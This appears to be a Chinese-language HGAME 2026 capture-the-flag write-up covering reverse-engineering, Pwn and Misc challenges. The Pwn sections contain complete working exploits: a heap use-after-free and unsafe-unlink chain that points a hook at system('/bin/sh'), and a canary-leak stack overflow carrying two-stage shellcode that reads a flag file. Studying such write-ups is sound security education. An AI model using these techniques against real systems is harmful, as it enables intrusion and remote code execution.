31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
encrypted = bytes([(b+256)%256 for b in [
0,-8,-6,6,31,-39,-104,114,86,-23,-35,28,-122,56,29,-126,-29,94,23,-29,46,-126,-4,45,20,-57
]])
xorKey1 = 102
xorKey2 = 119
aes_key = bytes([(b+256)%256 for b in [
74,-111,-61,127,46,-75,104,-44,28,-119,58,-14,93,-90,113,-66
]])

rotation_str = "PLANTS_VS_ZOMBIES_2025"
rot_offset = sum(ord(c) for c in rotation_str) % 26 # 20

# substitutionMap: 原始->替换后;解密时用反向表
pairs = [
(65,81),(66,87),(67,69),(68,82),(69,84),(70,89),(71,85),(72,73),(73,79),(74,80),
(75,65),(76,83),(77,68),(78,70),(79,71),(80,72),(81,74),(82,75),(83,76),(84,90),
(85,88),(86,67),(87,86),(88,66),(89,78),(90,77),
(95,33),(123,91),(125,93)
]
sub_map = {chr(a): chr(b) for a,b in pairs}
rev_map = {v:k for k,v in sub_map.items()}

def lcg_key(seed):
state = seed & 0xffffffff
key = []
for _ in range(16):
state = (state * 1103515245 + 12345) & 0x7fffffff
key.append(((state >> 16) % 256) & 0xff)
return key

def decrypt_with_seed(seed):
key = lcg_key(seed)
out = bytearray(len(encrypted))
for i,b in enumerate(encrypted):
mask = (i*13 + 7) % 256
out[i] = b ^ key[i % 16] ^ mask
return bytes(out)

def rotate_decrypt(s, offset):
res=[]
for ch in s:
o=ord(ch)
if 65<=o<=90:
res.append(chr((o-65-offset+26)%26 + 65))
elif 97<=o<=122:
res.append(chr((o-97-offset+26)%26 + 97))
else:
res.append(ch)
return "".join(res)

def substitution_decrypt(s):
return "".join(rev_map.get(ch,ch) for ch in s)

def solve():
for seed in range(65536):
b = decrypt_with_seed(seed)
mid = len(b)//2
p1 = bytes([x ^ xorKey1 for x in b[:mid]])
p2 = bytes([x ^ xorKey2 for x in b[mid:]])
combined = p1 + p2
out = bytes([combined[i] ^ aes_key[i % len(aes_key)] for i in range(len(combined))])

s = out.decode("utf-8", errors="replace")
s = rotate_decrypt(s, rot_offset)
s = substitution_decrypt(s)

if len(s)==26 and s.startswith("flag{") and s.endswith("}"):
return seed, s, s.replace("flag","hgame")
return None

seed, plain, final = solve()
print(seed, plain, final)

hgame29.png

跑出来结果就是:

  • seed = 3504
  • plain = flag{BECAUSE_I_AM_CRAAAZY}
  • final = hgame{BECAUSE_I_AM_CRAAAZY}

看不懂的华容道

先用IDA 打开 huarongdao.exe

hgame30.png

这段代码是在跑一个自定义 VM:a1+160 是字节码/内存区,a1+128 是 PC,前 20 个 QWORDa1+8*i, i<0x14)是寄存器,0xE0~0xE3 做跳转与比较,0xFF 停机。和 flag 相关的是 0x180x170x18a1+80+160 起的 20 字节节点数据逐字节喂进一个摘要/哈希上下文,再把 "HuarongDao2026_Salt" 逐字节喂入,finalize 得到 16 字节结果,拆成两段 8 字节写到 a1+64a1+720x17 再把这两个 64 位值打印出来。

  1. 读取初始局面:从 game.bin 得到 start_state
  2. 能模拟一步移动
    • can_move(state, piece, dir) 判断某棋子能否向某方向走
    • move(state, piece, dir) 生成新局面
  3. 能判断胜利is_win(state)
  4. 跑 BFS 找最短路的终点 state,再取 node_value(state) 输出为 flag

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from collections import deque

DIRS = ['w', 'a', 's', 'd']

def state_key(state) -> bytes:
"""
用于 visited 去重:把一个局面编码成唯一的可哈希值。
常见做法:把棋盘每格的编号按顺序拼成 bytes/tuple。
"""
return state.serialize()

def bfs_find_win(start_state, pieces):
q = deque([start_state])
sk = state_key(start_state)
visited = {sk}
parent = {sk: None} # k -> (prev_k, piece, dir)

while q:
cur = q.popleft()
ck = state_key(cur)

# 1) BFS 保证第一次到达 win 就是最短步数
if is_win(cur):
return cur, parent

# 2) 严格按题目顺序生成邻居:
# 棋子编号从小到大 + 方向 wasd
for p in sorted(pieces):
for d in DIRS:
if can_move(cur, p, d):
nxt = move(cur, p, d)
nk = state_key(nxt)
if nk not in visited:
visited.add(nk)
parent[nk] = (ck, p, d)
q.append(nxt)

raise RuntimeError("No solution")

def recover_path(win_state, parent):
"""从 parent 回溯出(棋子编号, 方向)序列"""
path = []
k = state_key(win_state)
while parent[k] is not None:
prev_k, p, d = parent[k]
path.append((p, d))
k = prev_k
path.reverse()
return path

# ----------------- main -----------------
start_state, pieces = parse_game_bin("game.bin")

win_state, parent = bfs_find_win(start_state, pieces)
path = recover_path(win_state, parent)

# 题目要的不是 path,而是 win_state 对应的 node value
flag = node_value(win_state)

print("steps =", len(path))
print("flag =", flag)

运行可以得到

1
0c4a8ae149d34f8552875b87bb317ffa

去掉0再套上hgame:

1
hgame{c4a8ae149d34f8552875b87bb317ffa}

Signal Storm

用ida打开

hgame31.png

程序读入后会先 strlen() 检查长度:长度 必须等于 0x20(32),否则直接输出 Wrong length.,接着查看Strings

hgame32.png

  • /proc/self/status
  • TracerPid:
  • Wrong length.
  • Correct! The storm has passed.
  • C0lm_be4ore_7he_st0rm疑似 key

.rodata 里能直接看到 32 字节对比常量:

1
2
e3 36 d9 c8 c9 c1 60 82 75 d9 11 25 d5 b2 4b 1c
4d e6 6d 71 1c af 1c f1 06 a5 1c 26 7f f6 5a 1a

找到 Welcome to the Signal Storm.,双击进入引用。往上回溯到打印与 fgets 的函数,即可定位到主逻辑(常见在 .text 0x1300 附近)。同一函数内有 3 次 sigaction:分别注册 SIGSEGV(11)、SIGFPE(8)、SIGTRAP(5) 的 handler —— 这是核心混淆点。

程序启动早期会读 /proc/self/status,解析 TracerPid: 的数值:

  • 若在调试器下(TracerPid != 0),会用 tracerpid 的低字节对 key 做 XOR
  • 正常直接运行:TracerPid=0,key 不变

主循环每处理 1 字节,会“故意触发”三类异常/信号,然后在 handler 内做状态更新,最后 longjmp 回循环继续。触发方式

  • SIGSEGV:写 NULL 指针(mov [0], 0)+ ud2
  • SIGTRAPraise(5)
  • SIGFPEidiv 0(除以 0)
  1. SIGSEGV handler:更新 i/j + swap(RC4 KSA-like)
  • 全局 i 自增(mod 256)
  • j = (j + S[i] + key[i % 21]) % 256
  • 交换 S[i]S[j]
  1. SIGTRAP handler:key 左轮转 1 位
  • memmove(key, key+1, 20)
  • key[20] = old_key[0]
  1. SIGFPE handler:生成流并 XOR 输入(RC4 PRGA-like)
  • k = S[(S[i] + S[j]) % 256]
  • buf[pos] ^= k
  • pos++

主流程在进入信号循环前会初始化:

  • S[0..255] = 0..255
  • 用 key(长度 21)跑一遍标准 RC4 KSA

循环处理完 32 字节 后,将处理后的缓冲区与 .rodata 的 32 字节常量比较:

  • 全部相等 → Correct! The storm has passed.
  • 否则 → The storm consumes you.

这意味着:输入经过“流加密 XOR”后应等于固定密文。由于核心是 XOR 流加密

  • cipher = plain XOR keystream
  • 所以 plain = cipher XOR keystream

而 keystream 完全由(S、i、j、key 的轮转)决定,与明文无关,可直接模拟得到。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cipher = bytes.fromhex(
"e336d9c8c9c1608275d91125d5b24b1c"
"4de66d711caf1cf106a51c267ff65a1a"
)

def ksa(key_bytes: bytes):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) & 0xff
S[i], S[j] = S[j], S[i]
return S

key = bytearray(b"C0lm_be4ore_7he_st0rm") # .data
S = ksa(key)

i = 0
j = 0
plain = bytearray()

for c in cipher:
# SIGSEGV handler: i/j update + swap
i = (i + 1) & 0xff
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]

# SIGTRAP handler: rotate key left by 1
key = key[1:] + key[:1]

# SIGFPE handler: generate k and xor
k = S[(S[i] + S[j]) & 0xff]
plain.append(c ^ k)

print(plain.decode())

hgame33.png

1
hgame{Null_c0lm_wi7hout_0_storm}

NonceSense

先用ida打开 Client.exe,先看mian函数

hgame34.png

hgame35.png可以看到 DeviceIoControl 的调用点:第一次请求驱动返回 16 字节 nonce,第二次请求带入数据,驱动返回 密文,程序把nonce || 密文写入 Drv_blob.bin,所以 Drv_blob.bin 结构就是:前 16 字节 nonce,后面是 AES 密文。

接着看GateDriver.sys

hgame36.png

Strings 里能看到:VIDAR_HGAME_A0th_HMaC_K1_bu1ld2026和AUTHv1,对 VIDAR_HGAME... 做 XREF,会跳到一个关键函数:

里面有一个 循环跑 32 次

hgame37.png

.rdata 的一段字节表取数据,做 XOR/ror/xor 解码出真正的 32 字节常量串,驱动 .rdata 里有 32 字节表,循环解码为 S

1
2
3
// i = 0..31
shift = (1 - 3*i) & 7;
S[i] = ROR8(table[i] ^ 0x5C, shift) ^ 0xA7;

解出来是:

1
VIDAR_HGAME_D3C_A3S_K2_build2026

KDF:两次 HMAC-SHA256 得到 AES key,在同一条调用链里还能找到一个“像 HMAC 的函数”:

  • 常量 0x20
  • 先用 32 个 0 做 key 计算一次
  • 再以第一次结果做 key 计算第二次

对应公式:

1
2
3
H1 = HMAC_SHA256(key = 0x00*32, msg = nonce[16])
H2 = HMAC_SHA256(key = H1, msg = S || 0x01)
AES_KEY = H2[0:16] // 取前 16 字节作为 AES-128 key

驱动对密文按 16 字节一组调用 block 函数,没有看到与 IV 的 XOR,因此是 ECB

1
2
PT = AES-128-ECB-DEC(AES_KEY, ciphertext)
PT = PKCS7_UNPAD(PT)

得到的 PT 仍然不是 flag,而是 Client 先做过一次按位混淆后的数据。Client 对每个字节按下标 i 做固定变换:

加密:

1
2
3
t = (i*13 + 0xC3) & 0xFF;
s = (i*3 + 1) & 7;
y = ROL8(plain[i] ^ t, s) ^ 0x5A;

解密:

1
2
3
t = (i*13 + 0xC3) & 0xFF;
s = (i*3 + 1) & 7;
plain[i] = ROR8(y ^ 0x5A, s) ^ t;

对驱动解出来的 PT 逐字节做逆变换,即得 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pathlib import Path
from Crypto.Hash import HMAC, SHA256
from Crypto.Cipher import AES

def ror8(x, n):
n &= 7
return ((x >> n) | ((x << (8 - n)) & 0xFF)) & 0xFF

def pkcs7_unpad(data: bytes) -> bytes:
pad = data[-1]
if pad == 0 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
raise ValueError("bad padding")
return data[:-pad]

# --- 1) 读 blob:nonce + ciphertext ---
blob = Path("Drv_blob.bin").read_bytes()
nonce = blob[:16]
ct = blob[16:]

# --- 2) 从 GateDriver.sys 提取 32 字节表并解码出 S ---
drv = Path("GateDriver.sys").read_bytes()

# (本题可直接用字节序列定位表;WP 中也可写成“在 .rdata 的 byte_140003250”)
table32 = bytes.fromhex(
"bfe743bae2bfab5291e64ba4200e2ed3"
"9179fba4c10a2000f9ef029fee029645"
)
off = drv.find(table32)
assert off != -1
table = drv[off:off+32]

S = bytes([ (ror8(b ^ 0x5C, (1 - 3*i) & 7) ^ 0xA7) for i, b in enumerate(table) ])

# --- 3) KDF:两次 HMAC 得 AES-128 key ---
H1 = HMAC.new(b"\x00"*32, nonce, digestmod=SHA256).digest()
H2 = HMAC.new(H1, S + b"\x01", digestmod=SHA256).digest()
key = H2[:16]

# --- 4) AES-128 ECB 解密并去 padding ---
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
pt = pkcs7_unpad(pt)

# --- 5) 逆 Client 的按位混淆 ---
out = bytearray()
for i, y in enumerate(pt):
t = (i*13 + 0xC3) & 0xFF
s = (i*3 + 1) & 7
out.append(ror8(y ^ 0x5A, s) ^ t)

print(out.decode())

运行输出:

1
hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}

Pwn

Heap1sEz

先查看本题的保护

hgame38.png

1
chmod +x vuln

接着将程序拖入ida中进行分析

hgame39.png

先看Add函数

hgame40.png

分配 notes[index] = malloc(size),保存 note_size[index],接着看Delete函数

hgame41.png

free(notes[index])不清空 notes[index],接着看Edit函数

hgame42.png

read(0, notes[index], note_size[index]),接着看Show函数

hgame43.png

puts(notes[index]),最后看gift()

hgame44.png

可写全局 hook,通过上面的函数分析可以知道,该题是存在UAF:delete()notes[index] 仍然指向释放内存,可 show/edit。自定义堆实现**,且 unsorted bin 的 unlink 检查被注释,可做 unsafe unlink。show()puts,可对任意地址读字符串,辅助泄露。gift() 允许把全局 hook 设置为任意函数指针,free() 会优先执行 hook(mem)

接着看 src/src/malloc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include <malloc.h>
#include <assert.h>
#include <stdio.h>
const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1;
const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T));
void *start = NULL;
hook_t hook = NULL;
struct malloc_state main_arena;
struct malloc_par mp_ = {
.top_size = TOP_CHUNK_SIZE
};
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline));
static void malloc_init_state (mstate av) __attribute__((noinline));
static void unlink_chunk (mchunkptr p) __attribute__((noinline));
void *malloc (size_t bytes){
INTERNAL_SIZE_T nb;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T remainder_size;

mchunkptr victim;
mchunkptr remainder;

void *p;

nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);

//first request
if(main_arena.top == NULL){
malloc_init_state(&main_arena);
p = sysmalloc(nb, &main_arena);
return p;
}

//unsorted bin
while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
size = chunksize(victim);
/* split */
if(size >= nb){
if(size - nb >= MINSIZE){
remainder_size = size - nb;
remainder = victim;
victim = chunk_at_offset(remainder, remainder_size);
set_head(victim, nb);
set_inuse(victim);
set_head_size(remainder, remainder_size);
set_foot(remainder, remainder_size);
p = chunk2mem(victim);
return p;
}
else{
unlink_chunk(victim);
set_inuse(victim);
return chunk2mem(victim);
}
}
}
if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
/* split */
else{
victim = main_arena.top;
size = chunksize(victim);
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
main_arena.top = remainder;
set_head (victim, nb | PREV_INUSE);
set_head (remainder, remainder_size | PREV_INUSE);
void *p = chunk2mem (victim);
return p;
}
//can't reach here
assert(0);
return NULL;
}

void free(void *mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem);
return;
}
if(mem == NULL){
return;
}
p = mem2chunk (mem);
size = chunksize(p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (p);
}
if (nextchunk != main_arena.top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink_chunk (nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
bck = bin_at(&main_arena, 1);
fwd = bck->fd;
//if (__glibc_unlikely (fwd->bk != bck))
//malloc_printerr ("free(): corrupted unsorted chunks");
p->fd = fwd;
p->bk = bck;
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);
//check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
main_arena.top = p;
//check_chunk(av, p);
}
}

void *calloc(size_t count, size_t size) { TODO(); return NULL;}
void *realloc(void *ptr, size_t size) { TODO(); return NULL;}
void *reallocf(void *ptr, size_t size) { TODO(); return NULL;}
void *valloc(size_t size) { TODO(); return NULL;}
void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;}
static void
unlink_chunk (mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

//if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
//malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
}
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av){
INTERNAL_SIZE_T size;
mchunkptr p;

size = nb + mp_.top_size;
if(av->top == NULL){
start = sbrk(0);
p = sbrk(size);
main_arena.top = chunk_at_offset(p, nb);
set_head(p, nb | PREV_INUSE);
set_foot(p, nb);
set_head(main_arena.top, mp_.top_size | PREV_INUSE);
return chunk2mem(p);
}
else{
TODO();
}
}
static void
malloc_init_state (mstate av)
{
int i;
mbinptr bin;

/* Establish circular links for normal bins */
for (i = 1; i < 2; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}
}

可以知道这个仅有一个 unsorted bin(bins[1])。free() 将 chunk 直接插入 unsorted bin。malloc() 从 unsorted bin 取 chunk,若 size 足够则分裂;若 size - nb >= MINSIZE不会调用 unlink,而是“用 chunk 末尾切一块”返回。unlink_chunk() 只检查 chunksize(p) == prev_size(next_chunk(p)),双链一致性检查被注释。

因此可以构造 fake chunk 执行 unsafe unlink,达成任意写。所以需要通过劫持 hooksystem,再 free("/bin/sh")

步骤如下:

  1. 泄露 PIE 基址

    • 释放一个非 top chunk,show 读出其 fd 指针,即 bin_at(&main_arena,1)
    • bin_at(&main_arena,1) = main_arena - 8 得到 main_arena 地址,再反推 PIE 基址。
  2. unsafe unlink 覆写 notes 指针

    • 释放一个 chunk(size 0x40),篡改其 fd/bk
    • 触发 unlink,将 notes[target] 指向 GOT(puts)
  3. 泄露 libc 基址

    • show(target) -> 实际读取 puts@got
  4. gift 写 hook = system

  5. free(“/bin/sh”)

unlink_chunk 仍有一个检查:

1
2
if (chunksize(p) != prev_size(next_chunk(p)))
malloc_printerr("corrupted size vs. prev_size");

可以再改写 chunk 的 fd/bk 时,会同时覆盖 chunk 末尾 8 字节。因此需要保证:

  • chunksize(p) 仍是 0x40
  • next_chunk(p)->prev_size 也写成 0x40

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')
elf = context.binary
context.log_level = 'info'

HOST = 'cloud-middle.hgame.vidar.club'
PORT = 31002


def start():
if args.REMOTE:
io = remote(HOST, PORT)
libc = ELF('./libc.so.6')
else:
io = process(['./vuln'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
return io, libc


def menu(io, choice):
io.recvuntil(b'>')
io.sendline(str(choice).encode())


def add(io, idx, size):
menu(io, 1)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendlineafter(b'Size: ', str(size).encode())


def delete(io, idx):
menu(io, 2)
io.sendlineafter(b'Index: ', str(idx).encode())


def edit(io, idx, data):
menu(io, 3)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendafter(b'Content: ', data)


def show(io, idx):
menu(io, 4)
io.sendlineafter(b'Index: ', str(idx).encode())
leak = io.recvuntil(b'\n', drop=True)
return leak


def exploit(io, libc):
# stage 1: leak PIE from unsorted bin
add(io, 0, 0x20)
add(io, 1, 0x20)
delete(io, 0)
leak = show(io, 0)
bin_addr = u64(leak.ljust(8, b'\x00'))
main_arena_addr = bin_addr + 8 # bin_at(&main_arena,1) = main_arena - 8
pie_base = main_arena_addr - elf.symbols['main_arena']
log.info(f'PIE base: {hex(pie_base)}')

# remove chunk0 from bin to avoid interference
add(io, 2, 0x20)

# stage 2: unsafe unlink to overwrite notes[target]
add(io, 3, 0x38) # chunk size 0x40
add(io, 4, 0x20) # guard so chunk3 is not top
delete(io, 3)

notes_addr = pie_base + elf.symbols['notes']
target_idx = 7
target = notes_addr + 8 * target_idx
fd = target - 0x18
bk = pie_base + elf.got['puts']

# edit overflows 8 bytes into next chunk's prev_size; keep it consistent (0x40)
payload = p64(fd) + p64(bk) + b'A' * 0x20 + p64(0x40)
edit(io, 3, payload)

# trigger unlink
add(io, 5, 0x20)

# stage 3: leak libc via puts@got
leak2 = show(io, target_idx)
puts_addr = u64(leak2.ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.info(f'libc base: {hex(libc_base)}')
log.info(f'system: {hex(system_addr)}')

# stage 4: set hook to system
menu(io, 6)
io.sendlineafter(b'hook\n', hex(system_addr).encode())

# stage 5: trigger system('/bin/sh')
add(io, 6, 0x20)
edit(io, 6, b'/bin/sh\x00' + b'B' * (0x20 - 8))
delete(io, 6)


if __name__ == '__main__':
io, libc = start()
exploit(io, libc)

if args.REMOTE:
# try to read flag automatically
io.sendline(b'cat flag')
io.sendline(b'cat /flag')
try:
for _ in range(4):
line = io.recvline(timeout=2)
if line:
print(line.decode(errors='ignore').rstrip())
except Exception:
pass
io.interactive()

hgame45.png

1
hgame{ready-for_mor3-D1ffIcu1t-M4lLOc?7b68e}

adrift

先checksec查看保护

hgame46.png

GOT 不可写(Full RELRO),传统 GOT 劫持无效。栈可执行,可直接使用 shellcode。但程序有自定义的“canary”,需要泄露。接着用ida打开

hgame47.png

菜单 choose>,主要有 add / delete / show / edit / exitshow 根据 index 打印 dis[index]delete 根据 index 置空 dis[index]add 读取 way,并写入全局数组 str

关键数据结构(在 .bss):dis:指针数组,大小约 200 个。str:连续的字符串存储池,每个条目间隔 0x518

hgame48.png

show 中对 index 的检查:取 abs(index),只校验 index <= 0xc7没有检查 index 是否为负数。当 index 为某个负值,访问 dis[index] 发生越界读。程序在 init_canary 内将 canary = &local_var(即栈地址)写入全局 canaryshow 的格式化输出会打印 dis[index] 对应的 8 字节值。

通过计算:dis 基地址约在 0x44060canary 全局变量在 0x4060index = (0x4060 - 0x44060) / 8 = -32768,因此 index = -32768 时输出的就是全局 canary

mainadd 分支:在栈上 rbp-0x400 处接收 way> 输入。read(0, buf+6, 0x410) —— 写入长度 0x410,大于栈缓冲区大小 0x400。可覆盖到保存的 canaryrbpret。因为程序在退出时会校验“伪 canary”,所以必须先泄露 canary 并在栈上正确填回。

利用思路:

  1. show 的负下标越界读,泄露全局 canary
  2. add 中构造溢出:
    • 覆盖栈上的 canary 为正确值以通过校验。
    • 覆盖 ret 指向我们在栈上的 shellcode。
  3. 因为栈可执行,直接上 shellcode。
  4. 为稳定,使用两段式:
    • Stage1:很短的 stub(14 字节),执行 read(0, rsp, 0x80); jmp rsp
    • Stage2:读取 flag(尝试 flag/flag),写回并退出。

关键偏移

根据反汇编栈布局计算:

  • 栈缓冲区起始:rbp-0x400
  • canary 保存处:rbp-0x10
  • 从输入起始 buf+6canary0x3ea
  • 返回地址偏移:0x402

Stage1(14 字节):

1
2
3
4
5
6
7
8
31 c0        xor eax,eax
31 ff xor edi,edi
54 push rsp
5e pop rsi
31 d2 xor edx,edx
b2 80 mov dl,0x80
0f 05 syscall
ff e4 jmp rsp

Stage2(打开 flag,失败则尝试 /flag):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
4831c0
48c7c3666c6167
53
4889e7
4831f6
b802000000
0f05
85c0
791c
4883c408
48bb2f666c6167000000
53
4889e7
4831f6
b802000000
0f05
4889c7
4889e6
ba00010000
31c0
0f05
4889c2
48c7c701000000
b801000000
0f05
b83c000000
31ff
0f05

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = "cloud-middle.hgame.vidar.club"
PORT = 30677

# Stage-1 stub (14 bytes): read(0, rsp, 0x80); jmp rsp
STUB = bytes.fromhex(
"31c0" # xor eax, eax
"31ff" # xor edi, edi
"54" # push rsp
"5e" # pop rsi
"31d2" # xor edx, edx
"b280" # mov dl, 0x80
"0f05" # syscall
"ffe4" # jmp rsp
)

# Stage-2: try open("flag"), if fail open("/flag"), read, write, exit
STAGE2 = bytes.fromhex(
"4831c0" # xor rax, rax
"48c7c3666c6167" # mov rbx, 0x67616c66 ("flag")
"53" # push rbx
"4889e7" # mov rdi, rsp
"4831f6" # xor rsi, rsi
"b802000000" # mov eax, 2 (sys_open)
"0f05" # syscall
"85c0" # test eax, eax
"791c" # jns opened
"4883c408" # add rsp, 8
"48bb2f666c6167000000" # mov rbx, 0x0067616c662f ("/flag")
"53" # push rbx
"4889e7" # mov rdi, rsp
"4831f6" # xor rsi, rsi
"b802000000" # mov eax, 2
"0f05" # syscall
"4889c7" # mov rdi, rax
"4889e6" # mov rsi, rsp
"ba00010000" # mov edx, 0x100
"31c0" # xor eax, eax
"0f05" # syscall
"4889c2" # mov rdx, rax
"48c7c701000000" # mov rdi, 1
"b801000000" # mov eax, 1
"0f05" # syscall
"b83c000000" # mov eax, 60
"31ff" # xor edi, edi
"0f05" # syscall
)

CANARY_OFFSET = 0x3ea
RET_OFFSET = 0x402


def start():
if args.REMOTE:
return remote(HOST, PORT)
# Avoid PTY to keep IO simple in this environment
return process("./vuln", stdin=PIPE, stdout=PIPE, stderr=PIPE)


def leak_canary(io: tube) -> int:
io.recvuntil(b"choose> ")
io.sendline(b"2")
io.recvuntil(b"index> ")
io.sendline(b"-32768")
line = io.recvline().strip()
# line format: b": <num>"
canary = int(line.split(b":")[1].strip())
return canary


def build_payload(canary: int) -> bytes:
# stub is placed at rbp-0x8, which equals canary + 0x410
stub_addr = canary + 0x410
payload = b"A" * CANARY_OFFSET
payload += p64(canary)
payload += STUB
payload += b"\x90" * (RET_OFFSET - len(payload))
payload += p64(stub_addr)
payload += b"B" * (0x410 - len(payload))
return payload


def exploit(io: tube):
canary = leak_canary(io)
log.info("canary: %s", hex(canary))

payload = build_payload(canary)

io.recvuntil(b"choose> ")
io.sendline(b"0")
io.recvuntil(b"way> ")
io.send(payload)

io.recvuntil(b"distance> ")
io.sendline(b"1")

io.recvuntil(b"choose> ")
io.sendline(b"4")

# Stage-2 will read from stdin and print the flag, then exit
io.send(STAGE2)

data = io.recvall(timeout=2)
return data


if __name__ == "__main__":
io = start()
try:
out = exploit(io)
if out:
print(out.decode(errors="ignore"), end="")
finally:
io.close()

运行

1
python solve.py REMOTE

Misc

shiori不想找女友

先看 shiori.png 的元数据,发现 EXIF 里有可疑字段。用 Python 读取 EXIF:

1
2
3
from PIL import Image
img = Image.open('shiori.png')
print(img.info.get('exif', b'')[:200])

解析出 UserComment:

1
{"block": 1, "start_x": 10, "start_y": 10, "step_x": 7, "step_y": 7, "column_num": 450}

这明显是 像素取样 + bit-plane 隐写 的参数。

思路:

  • (start_x, start_y) 开始,以 (step_x, step_y) 步进取样
  • column_num=450 说明要按 450 列重构
  • block=1 表示取第 1 位 (bit 1)

下面脚本提取位图并保存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
import numpy as np

img = Image.open('shiori.png').convert('RGB')
start_x, start_y = 10, 10
step_x, step_y = 7, 7
column_num = 450
block = 1

pixels = np.array(img)
# 取样
sample = pixels[start_y::step_y, start_x::step_x, :]
vals = sample.reshape(-1, 3)
rows = vals.shape[0] // column_num
vals = vals[:rows * column_num]

# 取 G 通道 bit1(实验后可用 RGB 任一通道)
bits = ((vals[:,1] >> block) & 1).astype(np.uint8)
img_bits = bits.reshape(rows, column_num) * 255

out = Image.fromarray(img_bits, mode='L')
